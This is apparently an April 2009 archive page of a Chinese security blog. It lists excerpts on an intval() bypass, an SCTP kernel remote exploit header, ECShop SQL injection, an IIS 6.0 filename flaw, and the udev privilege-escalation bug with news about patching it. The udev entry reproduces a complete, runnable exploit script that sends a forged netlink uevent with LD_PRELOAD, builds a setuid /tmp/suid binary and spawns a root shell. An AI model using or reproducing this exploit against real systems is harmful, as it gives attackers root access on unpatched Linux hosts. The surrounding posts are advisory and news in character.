2009年4月 的日志

intval()使用不当导致安全漏洞的分析

author: xy7#80sec.com
from:http://www.80vul.com/pch/

一 描叙

intval函数有个特性:”直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换”,在某些应用程序里由于对intval函数这个特性认识不够,错误的使用导致绕过一些安全判断导致安全漏洞.
阅读全文 »

Tags: , ,

Linux Kernel 2.6.x SCTP FWD Memory Corruption Remote Exploit

/* CVE-2009-0065 SCTP FWD Chunk Memory Corruption
* Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit
*
* coded by: sgrakkyu <at> antifork.org
* http://kernelbof.blogspot.com
*
*
* NOTE: you need at least one sctp application bound on the target box
*
* Supported target:
* Ubuntu 7.04 x86_64 (2.6.20_15-17-generic / 2.6.20_17-server)
* Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
* Ubuntu 8.10 x86_64 (2.6.27_7-10 geenric/server)
* Fedora Core 10 x86_64 (default installed kernel)
* OpenSuse 11.1 x86_64 (default installed kernel)
*/
阅读全文 »

Tags: , , ,

ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability

# 鬼仔:有同学在评论中提醒,这个是很老的了,去年十月国内就有人发过了,看了下,的确是,地址在这里。虽然是老的,但是以前没发过,所以也就不删了,留在这里存档吧。

######################### Securitylab.ir ########################
# Application Info:
# Name: ECSHOP
# Version: 2.5.0
# Website: http://www.ecshop.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & [email protected][dot]ir
#################################################################
阅读全文 »

Tags: , , , ,

Microsoft Internet Infomation Server 6.0 ISAPI Filename Analytic Vulnerability

来源:80sec

function Copyright()
{

var Author=”80sec”;
var Email=”kEvin#80sec.com”.replace(”#”,”@”)
var Site=”http://www.80sec.com”;
var Date=new Date(2009,4,24).toLocaleString();
var Reference=”http://www.80sec.com/Microsoft-Internet-Infomation-Server-6-ISAPI-filename-analytic-Vulnerabilitie.html”;
return Reference;

}

/*

漏洞描述:
阅读全文 »

Tags: , , , ,

Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit

# 鬼仔注:相关日志 Linux爆本地提权漏洞 请立即更新udev程序udev,linux有史以来最危险的本地安全漏洞

# milw0rm.com [2009-04-20]

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];

        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;

        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

        char message[LONG_STRING];
        char *mp;

        mp = message;
        mp += sprintf(mp, "%[email protected]%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);

        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);

        sendmsg(socket_fd, &msg, 0);

        close(socket_fd);

	sleep(10);
	execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
Tags: , , , , ,

udev,linux有史以来最危险的本地安全漏洞

# 鬼仔注:EXP Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit

作者:素包子

经过验证,我个人认为udev的漏洞是linux有史以来最危险的本地安全漏洞,通杀X86和X64架构下N个发行版的N个大版本和子版本,影响面相当大,互联网的血雨腥风即将到来。

这个漏洞对各大企业的安全人员发起挑战,我们的软件资产管理系统是否有足够的数据支撑我们做下面的事情?

1、给哪些系统打补丁?
2、哪些系统已经打上了补丁?
3、新上线的系统打了补丁了吗?如何发现?

阅读全文 »

Tags: , , , ,

Linux爆本地提权漏洞 请立即更新udev程序

# 鬼仔注:EXP Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit

来源:cnBeta

感谢素包子的投递
新闻来源:milw0rm.com
Linux的udev程序再爆本地提权漏洞,本地用户可以轻易获得root权限,请立即更新udev程序。(2.4内核系统不受影响)
修复方法(修复前请备份重要数据):
阅读全文 »

Tags: , , , ,

关于html本地权限问题

作者:lcx

最近看了两篇文章,一篇是Google Chrome使用ajax读取本地文件漏洞,另一篇是本地执行ajax的权限问题,对此我有一点自己的想法,我认为这都不算是安全问题,好像这两篇文章没有对本地html的权限有足够的了解。

举两个例子,一个是html读出本地txt内容,一个是html操作本地数据库,关键是用户允许执行本地的js了。
阅读全文 »

Tags: , , ,